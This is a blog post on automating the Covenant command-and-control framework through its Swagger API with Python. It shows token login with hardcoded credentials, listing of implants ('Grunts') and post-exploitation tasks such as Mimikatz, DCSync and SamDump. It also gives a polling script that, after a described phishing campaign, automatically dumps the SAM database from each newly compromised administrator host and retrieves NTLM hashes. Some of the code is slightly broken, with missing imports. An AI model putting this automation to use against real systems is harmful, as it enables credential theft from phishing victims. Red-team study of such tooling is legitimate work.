Covenant’s Got Swagger (API)

hacksplaining
5 min readFeb 21, 2023

--

Covenant has built quite the following over the years, and there are several articles demonstrating the capabilities of Covenant. They generally provide guidance on the deployment of the framework, and show how to generate and launch a new Grunt. One missing feature in these write-ups is the inclusion of the Swagger UI.

API Driven — Covenant is driven by an API that enables multi-user collaboration and is easily extendible. Additionally, Covenant includes a Swagger UI that makes development and debugging easier and more convenient.

I will try to conceptualize some use cases for utilizing the Swagger UI [with Python], and provide some examples when interacting with the endpoints.

A copy of the demo script can be found on my GitHub.

Table of Contents

  • Setup
  • Basic Functions
  • Example

Setup

  1. Start Covenant
  2. Navigate to <Covenant URL>:7443/swagger
  3. Generate an authorization token with /api/users/login under CovenantUserApi
  4. Manually query each endpoint

I recommend visiting the official Covenant Wiki directly for more details. https://github.com/cobbr/Covenant/wiki/Using-The-API

Although direct access to the Swagger UI is available, I prefer to use a few python functions to query the API programmatically. This allows customization of the data, chain events together when a new Grunt is activated, or to even post messages to a Slack channel or Discord server.

The code examples below are for demonstration purposes only. A valid TLS certificate should be used, and hardcoding clear text credentials in scripts is a poor security practice.

To begin, we need to setup the script with a few variables and retrieve our authorization token. Similar to the manual setup, we will use the /api/users/login endpoint to return COVENANT_TOKEN.

# FOR TESTING ONLY; a valid TLS certificate should be used.
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

from datetime import date, timedelta
import requests, base64, json, datetime

url = 'https://172.16.0.254:7443/api'

# Swagger UI Authorization
def getToken():
headers = { "Content-Type" : "application/json-patch+json" }
data = { "userName": "hacksplaining", "password": "Password123!" }

r = requests.post(f'{url}/users/login', headers=headers, data=json.dumps(data), verify=False)
token = r.json()['covenantToken']
return token

COVENANT_TOKEN = getToken()

headers = { "Authorization" : f"Bearer {COVENANT_TOKEN}",
"Content-Type" : "application/json" }

Basic Functions

With our newly minted token, we can start making requests. The first is a simple EventApi request to return all events that appear in the UI like “Created User”, “Started Listener”, or “Grunt Activated”.

def getEvents():   
events = requests.get(f"{url}/events", headers=headers, verify=False)
return events.json()

getEvents()

#---OUTPUT---
[{'id': 1,
'time': '2023-02-19T15:12:56.6814623',
'messageHeader': 'Created User',
'messageBody': 'User: 174697e2-8c7e-e26f-5929-7d5c11c62cbd with roles: has been created!',
'level': 'info',
'type': 'normal',
'context': 'Users'},
{'id': 2,
'time': '2023-02-19T15:12:56.7696699',
'messageHeader': 'Started Listener',
'messageBody': 'Started Listener: http',
'level': 'highlight',
'type': 'normal',
'context': '*'},
{'id': 3,
'time': '2023-02-19T15:21:22.6162135',
'messageHeader': 'Grunt Activated',
'messageBody': 'Grunt: ce65157603 from: win10 has been activated!',
'level': 'highlight',
'type': 'normal'
'context': '*'}]

Once a Grunt has been activated, we can query /grunts for details.

def getGrunts():   
grunts = requests.get(f"{url}/grunts", headers=headers, verify=False)
return grunts.json()

getGrunts()

#---OUTPUT---
{'id': 1,
'name': 'ce65157603',
'originalServerGuid': 'e92abbe104',
'guid': 'bdf742ec38',
'children': [],
'implantTemplateId': 1,

I’ll individually query a specific Grunt by ‘name’ via /grunts/{name}. This is especially useful if the console has a history of Grunts, sense requesting all Grunts will return a lot of data.

def getGrunts():
grunts = requests.get(f"{url}/grunts", headers=headers, verify=False)
return grunts.json()

for grunt in getGrunts():
print(grunt['name'])

#---OUTPUT---
ce65157603

def gruntName(name):
grunt = requests.get(f"{url}/grunts/{name}", headers=headers, verify=False)
return grunt.json()

gruntName("ce65157603")

Once a Grunt has been activated, we’ll want to conduct some post-exploitation actions against the target host. We can review the available tasks with the function below.

def availableTasks():
availableTasks = requests.get(f'{url}/grunttasks', headers=headers, verify=False)
return availableTasks.json()

for task in availableTasks():
print(task['name'])

#---OUTPUT---
MakeToken
GetSystem
ImpersonateProcess
ImpersonateUser
BypassUACGrunt
BypassUACCommand
RevertToSelf
LogonPasswords
LsaSecrets
LsaCache
SamDump
Wdigest
DCSync
Mimikatz
SafetyKatz
GetNetSession
...

Example

We’ve just sent out some phishing emails with an attached malicious executable (Grunt), and our goal is to dupe the recipient to “Run as Administrator”. While we’re working on some other tasks, we can interact with any new activated Grunts automatically, if our phishing is successful.

The Python script below will run in a loop waiting for any new “Grunt Activated” events, check if the Grunt’s integrity level is set to “high” (based on our “Run as an Administrator” phishing context, and will then task the Grunt to dump the local SAM database. For each success, New SAM entry for <name> will be written to the console.

import requests, base64, json

# FOR TESTING ONLY; a valid TLS certificate should be used.
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

url = 'https://192.168.86.29:7443/api'

# Swagger UI Authorization
def getToken():
headers = { "Content-Type" : "application/json-patch+json" }
data = { "userName": "hacksplaining", "password": "Password123!" }

r = requests.post(f'{url}/users/login', headers=headers, data=json.dumps(data), verify=False)
token = r.json()['covenantToken']
return token

COVENANT_TOKEN = getToken()

headers = { "Authorization" : f"Bearer {COVENANT_TOKEN}",
"Content-Type" : "application/json" }

#--------------------------------------------------------------------------
def returnGrunt(name):
grunt = requests.get(f"{url}/grunts/{name}", headers=headers, verify=False)
return grunt.json()['id']

def interact(name, task):
grunt_id = returnGrunt(name)
payload = f"\"{task}\""

output = requests.post(f'{url}/grunts/{grunt_id}/interact', headers=headers, data=payload, verify=False)
return output.json()

def getGrunts():
grunts = requests.get(f"{url}/grunts", headers=headers, verify=False)
return grunts.json()
#--------------------------------------------------------------------------

completed = []
while True:
grunts = getGrunts()

for grunt in grunts:

# Only returns Grunt information for defined datetime
if grunt['activationTime'] > str(datetime.date.today()):
if grunt['status'] == 'active':
if grunt['integrity'] in ["high", "system"]:
if not grunt['name'] in completed:
print(f"New SAM entry for {grunt['name']}")

# Task Grunt with SamDump
interact(grunt['name'], 'SamDump')

# Append to completed to prevent duplicate tasks.
completed.append(grunt['name'])

time.sleep(60)

Our payload was executed two times; once as a standard user, and then as Administrator. The script output shows a single entry for 1f4003a6c6.

New SAM entry for 1f4003a6c6

If we run getEvents() again, two new “Grunt Activated” events are listed.

{‘id’: 8,
‘time’: ‘2023-02-20T16:19:55.4554284',
‘messageHeader’: ‘Grunt Activated’,
‘messageBody’: ‘Grunt: 1c21c3ebf8 from: win10 has been activated!’,
‘level’: ‘highlight’,
‘type’: ‘normal’,
‘context’: ‘*’},
{‘id’: 9,
‘time’: ‘2023-02-20T16:20:02.5600748',
‘messageHeader’: ‘Grunt Activated’,
‘messageBody’: ‘Grunt: 1f4003a6c6 from: win10 has been activated!’,
‘level’: ‘highlight’
'type': 'normal',
'context': '*'}]

The events can be seen in the Covenant UI as well. 1f4003a6c6 was ran as the Administrator account.

Only a single entry for the Task SamDump is listed under GruntTaskings.

With the SamDump task completed , we can query the credentials dumped from the SAM db via /credentials. Here we see the ntlm hash for the local user ‘hacksplaining’.

def getCredentials():
creds = requests.get(f"{url}/credentials", headers=headers, verify=False)
return creds.json()

getCredentials()

#---OUTPUT---
{'hashCredentialType': 'ntlm',
'hash': '2b576acbe6bcfda7294d6bd18041b8fe',
'id': 2,
'type': 'hash',
'domain': 'WIN10',
'username': 'hacksplaining'}

There are many ways to interact with Covenant via the Swagger UI. Below are the categories of endpoints that can be queried.

CommandOutputApi
CovenantUserApi
CredentialApi
EmbeddedResourceApi
EventApi
GruntApi
GruntCommandApi
GruntTaskApi
GruntTaskingApi
ImplantTemplateApi
IndicatorApi
LauncherApi
ListenerApi
ProfileApi
ReferenceAssemblyApi
ReferenceSourceLibraryApi
ThemeApi

--

--

hacksplaining

Cybersecurity 🔴🟣🔵 teamer - husband, father, dog dad, professional golfer (with a day job).